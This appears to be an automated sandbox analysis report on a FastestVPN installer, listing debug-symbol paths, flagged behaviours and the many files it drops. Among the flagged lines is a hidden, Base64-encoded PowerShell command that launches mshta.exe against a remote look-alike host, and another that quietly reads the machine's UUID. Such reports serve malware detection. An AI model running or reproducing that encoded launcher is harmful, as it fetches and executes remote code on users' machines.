    Source: Binary string: E:\A\_work\89\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Memory\netstandard\System.Memory.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3436008772.000000000C672000.00000002.00000001.01000000.00000042.sdmp
    Source: Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdbSHA256 source: FastestVPN.WindowsService.exe, 0000002D.00000002.3404861040.0000000004502000.00000002.00000001.01000000.0000002F.sdmp, is-8HGA9.tmp.2.dr
    Source: Binary string: C:\projects\wpfanimatedgif\WpfAnimatedGif\obj\Release\net40\WpfAnimatedGif.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3418828088.00000000066C2000.00000002.00000001.01000000.00000020.sdmp
    Source: Binary string: Microsoft.Owin.Security.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3401931455.0000000004392000.00000002.00000001.01000000.0000002B.sdmp
    Source: Binary string: D:\a\SQLitePCL.raw\SQLitePCL.raw\SQLitePCL.raw\src\SQLitePCLRaw.bundle_green\obj\Release\net461\SQLitePCLRaw.batteries_v2.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3433346855.000000000C242000.00000002.00000001.01000000.0000003F.sdmp
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.BLL\obj\Release\FastestVPN.BLL.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3413526573.0000000006182000.00000002.00000001.01000000.0000001C.sdmp
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.Common\obj\Release\FastestVPN.Common.pdb source: FastestVPN.WindowsService.exe, 0000002D.00000002.3396236781.0000000003F52000.00000002.00000001.01000000.00000023.sdmp, is-K5QR5.tmp.2.dr
    Source: Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3404861040.0000000004502000.00000002.00000001.01000000.0000002F.sdmp, is-8HGA9.tmp.2.dr
    Source: Binary string: \??\C:\Windows\System.Configuration.Install.pdb> source: FastestVPN.WindowsService.exe, 00000020.00000002.2556707349.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN.AdvancedNetwork\obj\Debug\VPN.AdvancedNetwork.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3403161535.0000000004442000.00000002.00000001.01000000.0000002C.sdmp
    Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: FastestVPN.exe, 00000024.00000002.3427426602.000000000B6FC000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN\obj\Release\FastestVPN.pdb source: FastestVPN.exe, 00000024.00000000.2557360869.0000000000E7D000.00000002.00000001.01000000.00000011.sdmp
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.WindowsService\obj\Release\FastestVPN.WindowsService.pdb( source: FastestVPN.WindowsService.exe, 00000020.00000002.2556460790.0000000000D39000.00000004.00000010.00020000.00000000.sdmp
    Source: Binary string: indows\FastestVPN.WindowsService.pdbpdbice.pdb080 source: FastestVPN.WindowsService.exe, 00000020.00000002.2556707349.0000000001001000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: c:\projects\projectsj\nfsdk2_1.6\driver_wfp\std\objfre_win7_x86\i386\netfilter2.pdb source: is-FH0V4.tmp.2.dr
    Source: Binary string: System.pdb source: FastestVPN.WindowsService.exe, 0000002D.00000002.3390712104.000000000178C000.00000004.00000800.00020000.00000000.sdmp
    Source: Binary string: \??\C:\Windows\System.ServiceProcess.pdbm source: FastestVPN.WindowsService.exe, 00000020.00000002.2556707349.0000000001001000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: Microsoft.Owin.Host.HttpListener.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3399394309.00000000042C2000.00000002.00000001.01000000.00000027.sdmp, is-IS5UL.tmp.2.dr
    Source: Binary string: D:\a\1\s\SDK\AppCenter\Microsoft.AppCenter.WindowsDesktop\obj\Microsoft.AppCenter.WindowsDesktop\Release\net472\Microsoft.AppCenter.pdbSHA256 source: FastestVPN.exe, 00000024.00000002.3431773700.000000000BE32000.00000002.00000001.01000000.0000003C.sdmp
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.Data.Remote\obj\Release\FastestVPN.Data.Remote.pdbb^|^ n^_CorDllMainmscoree.dll source: FastestVPN.exe, 00000024.00000002.3413769590.00000000061A2000.00000002.00000001.01000000.0000001E.sdmp, is-1G987.tmp.2.dr
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.DependencyInjection\obj\Release\FastestVPN.DI.pdbY6s6 e6_CorDllMainmscoree.dll source: FastestVPN.exe, 00000024.00000002.3410849788.00000000057F2000.00000002.00000001.01000000.00000014.sdmp
    Source: Binary string: c:\users\samuli\opt\tap-windows6-mattock\tapinstall\7600\objfre_wlh_amd64\amd64\tapinstall.pdbH source: is-BQE44.tmp.2.dr
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\Updater\obj\Release\Updater.pdb source: is-L52FN.tmp.2.dr
    Source: Binary string: C:\users\vagrant\buildbot\windows-server-2019-static-msbuild\openvpn\x64-Output\Release\openvpn.pdb source: is-935KR.tmp.2.dr
    Source: Binary string: C:\Users\samuli\source\repos\tap-windows6\src\x64\Release\tap0901.pdb source: drvinst.exe, 0000000F.00000003.2470262711.0000028018083000.00000004.00000020.00020000.00000000.sdmp, drvinst.exe, 0000000F.00000003.2462630417.0000028017FDC000.00000004.00000020.00020000.00000000.sdmp, is-ECRGA.tmp.2.dr, SETDAB9.tmp.17.dr
    Source: Binary string: NetSetupApi.pdb source: service.0.etl.18.dr
    Source: Binary string: D:\a\SQLitePCL.raw\SQLitePCL.raw\SQLitePCL.raw\src\SQLitePCLRaw.core\obj\Release\netstandard2.0\SQLitePCLRaw.core.pdbSHA256Ci\ source: FastestVPN.exe, 00000024.00000002.3433577336.000000000C272000.00000002.00000001.01000000.00000040.sdmp, FastestVPN.exe, 00000024.00000002.3416931571.00000000065C0000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: /_/src/Flurl.Http/obj/Release/net472/Flurl.Http.pdb source: is-ERPH0.tmp.2.dr
    Source: Binary string: Microsoft.Owin.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3397669187.0000000004272000.00000002.00000001.01000000.00000025.sdmp, is-414AO.tmp.2.dr
    Source: Binary string: \??\C:\Windows\dll\System.Configuration.Install.pdb source: FastestVPN.WindowsService.exe, 00000020.00000002.2556707349.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: BouncyCastle.Crypto.pdb source: is-S1CTK.tmp.2.dr
    Source: Binary string: \??\C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.pdb source: FastestVPN.WindowsService.exe, 00000020.00000002.2556707349.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: HPbnTC:\Windows\FastestVPN.WindowsService.pdb source: FastestVPN.WindowsService.exe, 00000020.00000002.2556460790.0000000000D39000.00000004.00000010.00020000.00000000.sdmp
    Source: Binary string: Hardcodet.NotifyIcon.Wpf.pdb source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3414353260.0000000006362000.00000002.00000001.01000000.0000001F.sdmp
    Source: Binary string: \??\C:\Windows\symbols\exe\FastestVPN.WindowsService.pdb00 source: FastestVPN.WindowsService.exe, 00000020.00000002.2556707349.0000000001001000.00000004.00000020.00020000.00000000.sdmp

    Data Obfuscation

    barindex
    Suspicious powershell command line found
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" -windowstyle hidden get-wmiobject Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUID
    Source: unknownProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -WindowStyle Hidden -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACcAbQBzAGgAdABhAC4AZQB4AGUAJwAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAnAGgAdAB0AHAAcwA6AC8ALwBmAGEAcwB0AGUAcwB2AHAAbgAtAHMAMwAtAGUAdQAtAG4AbwByAHQAaAAtADEALgAxADEAOQA4ADIA
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" -windowstyle hidden get-wmiobject Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUID
    Source: is-0I6F0.tmp.2.drStatic PE information: 0xAB462008 [Fri Jan 21 02:20:56 2061 UTC]
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEDD34B0 GetFullPathNameW,LoadLibraryW,GetProcAddress,GetLastError,GetLastError,FreeLibrary,FreeLibrary,12_2_00007FF7FEDD34B0
    Source: mapMd1URzq.exeStatic PE information: section name: .didata
    Source: mapMd1URzq.tmp.0.drStatic PE information: section name: .didata
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEE1C576 push rsi; ret 12_2_00007FF7FEE1C579
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEE1C52C push rsp; retn 0004h12_2_00007FF7FEE1C52D
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 28_2_004028FD push ecx; ret 28_2_00402910
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 28_2_1000A089 push ecx; ret 28_2_1000A09C
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 32_2_055958C0 push ds; retf 32_2_055958D0
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 32_2_05595547 push cs; retf 32_2_05595552
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 32_2_0559569F push ss; retf 32_2_0559573E
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 32_2_05595739 push ss; retf 32_2_0559573E
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 32_2_055958B1 push ds; retf 32_2_055958B2
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 32_2_05595530 push cs; retf 32_2_05595546
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 32_2_05595734 push ss; retf 32_2_05595738
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 32_2_055958B4 push ds; retf 32_2_055958B8
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 32_2_05595529 push cs; retf 32_2_0559552E
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 32_2_05595729 push ss; retf 32_2_0559572C
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 32_2_0559572F push ss; retf 32_2_05595732
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 32_2_055954A6 push cs; retf 32_2_05595546
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_05E1437F push es; retf 36_2_05E1445C
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_05E1435D push es; retf 36_2_05E1437E
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_060DAF04 push cs; retf 36_2_060DAF0E
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_060DAF10 push cs; retf 36_2_060DAF1A
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_060DAD3F push cs; ret 36_2_060DADBC
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_060D82C7 push ss; ret 36_2_060D82CA
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_060DADC0 push cs; ret 36_2_060DAE10
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_060D79DF push es; retf 36_2_060D7A7E
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_060DAEF2 push cs; retf 36_2_060DAEF6
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_06132FE2 push es; ret 36_2_06133585
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_06133564 push es; ret 36_2_06133585
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_0BE15883 push cs; ret 36_2_0BE158CC
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_0C2956FA push ss; iretd 36_2_0C295702
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_0C297F11 push cs; ret 36_2_0C297F12
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_0C675A5F push 00000028h; retf 0000h36_2_0C675A62
    Source: is-6E016.tmp.2.drStatic PE information: section name: .text entropy: 7.662424467871785

    Persistence and Installation Behavior

    barindex
    Uses cmd line tools excessively to alter registry or file data
    Source: C:\Windows\System32\cmd.exeProcess created: reg.exe
    Source: C:\Windows\System32\cmd.exeProcess created: reg.exe
    Source: C:\Windows\System32\cmd.exeProcess created: reg.exe
    Source: C:\Windows\System32\cmd.exeProcess created: reg.exeJump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: reg.exeJump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: reg.exeJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\tapinstall.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\is-I39KV.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\is-625EJ.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Microsoft.Extensions.DependencyInjection.Abstractions.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\is-OAN7C.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\sp\driver\windows8\i386\is-A7TIP.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\is-4L5KV.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\libssl-1_1-x64.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\is-TUPQN.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\tap0901.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-QN6B0.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\iphelperclose.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Microsoft.AppCenter.Crashes.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\iphelperclose.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-21GOU.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-CEAE4.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-IKS22.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Hosting.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\is-QTG1V.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\is-6QD3F.tmpJump to dropped file
    Source: C:\Users\user\Desktop\mapMd1URzq.exeFile created: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\nfapi.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\sp\driver\windows8\i386\fastestvpndriver.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-AONU2.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\subinacl.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\is-4V7RF.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\libssl32.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\unins000.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\openvpnserv.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\tapinstall.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Users\user\AppData\Local\Temp\is-MT41M.tmp\_isetup\_setup64.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-9AV56.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\FastestVPN.Data.Remote.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-DLS79.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\openssl.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\SQLitePCLRaw.batteries_v2.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\sp\release\nfapi.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\is-GCC8H.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\is-BQE44.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-6E016.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\is-BUHJE.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-K5QR5.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\is-N7NUO.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\is-8HGA9.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\sp\driver\windows8\amd64\is-PAMI1.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Microsoft.AppCenter.Analytics.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\subinacl.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-ERPH0.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\liblzo2-2.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-GTIO3.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-LSBTJ.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\System.Threading.Tasks.Extensions.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\System.Memory.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-JUGN8.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-P5MPD.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-GTC50.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\tap0901.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\VPN.RAS.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\BouncyCastle.Crypto.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Microsoft.AspNet.SignalR.Client.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-3T92M.tmpJump to dropped file
    Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\DriverStore\Temp\{a3509ad0-a935-f943-9229-64aa1d53db31}\SETD174.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\FastestVPN.BLL.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\fix-dns-leak-32.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\is-V8SS9.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\vcruntime140.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Diagnostics.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\is-35J99.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\openvpn.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-BJMR4.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-ECRGA.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\VPN.RAS.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Microsoft.AppCenter.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\is-PVOM6.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\is-FLT4I.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\VPN.OpenVpn.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-FDL4T.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\sp\driver\windows8\amd64\fastestvpndriver.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-FS0VU.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Flurl.Http.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Newtonsoft.Json.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Security.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\is-CHG7I.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-87ND4.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-P4NC5.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\is-VKJQU.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-9JEIB.tmpJump to dropped file
